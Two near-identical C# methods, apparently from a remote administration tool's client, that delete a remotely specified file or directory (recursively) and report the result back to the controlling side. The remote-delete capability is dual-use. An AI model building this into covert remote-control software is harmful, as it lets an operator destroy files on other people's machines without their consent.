private void Execute(ISender client, DoPathDelete message) { bool isError = false; string statusMessage = null; Action <string> onError = (msg) => { isError = true; statusMessage = msg; }; try { switch (message.PathType) { case FileType.Directory: Directory.Delete(message.Path, true); client.Send(new SetStatusFileManager { Message = "Deleted directory", SetLastDirectorySeen = false }); break; case FileType.File: File.Delete(message.Path); client.Send(new SetStatusFileManager { Message = "Deleted file", SetLastDirectorySeen = false }); break; } Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); } catch (UnauthorizedAccessException) { onError("DeletePath No permission"); } catch (PathTooLongException) { onError("DeletePath Path too long"); } catch (DirectoryNotFoundException) { onError("DeletePath Path not found"); } catch (IOException) { onError("DeletePath I/O error"); } catch (Exception) { onError("DeletePath Failed"); } finally { if (isError && !string.IsNullOrEmpty(statusMessage)) { client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); } } }
public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client) { bool isError = false; string message = null; Action <string> onError = (msg) => { isError = true; message = msg; }; try { switch (command.PathType) { case FileType.Directory: Directory.Delete(command.Path, true); client.Send(new SetStatusFileManager { Message = "Deleted directory", SetLastDirectorySeen = false }); break; case FileType.File: System.IO.File.Delete(command.Path); client.Send(new SetStatusFileManager { Message = "Deleted file", SetLastDirectorySeen = false }); break; } HandleGetDirectory(new GetDirectory { RemotePath = Path.GetDirectoryName(command.Path) }, client); } catch (UnauthorizedAccessException) { onError("DeletePath No permission"); } catch (PathTooLongException) { onError("DeletePath Path too long"); } catch (DirectoryNotFoundException) { onError("DeletePath Path not found"); } catch (IOException) { onError("DeletePath I/O error"); } catch (Exception) { onError("DeletePath Failed"); } finally { if (isError && !string.IsNullOrEmpty(message)) { client.Send(new SetStatusFileManager { Message = message, SetLastDirectorySeen = false }); } } }